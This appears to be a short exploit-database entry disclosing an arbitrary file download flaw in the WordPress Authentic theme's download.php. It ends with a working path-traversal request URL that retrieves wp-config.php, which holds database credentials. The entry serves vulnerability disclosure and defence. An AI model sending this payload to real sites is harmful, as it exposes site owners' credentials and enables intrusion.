WordPress Theme Authentic - 'download.php' Arbitrary File Download

Author: Ashiyane Digital Security Team
type: webapps
platform: php
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date_added: 2014-09-08 
date_updated: 2016-01-23 
verified: 1 
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source: https://www.securityfocus.com/bid/69671/info

Authentic theme for Wordpress is prone to an arbitrary file-download vulnerability.

An attacker can exploit this issue to download arbitrary files from the web server and obtain potentially sensitive information.

http://www.example.com/wp-content/themes/authentic/includes/download.php?file=../../../../wp-config.php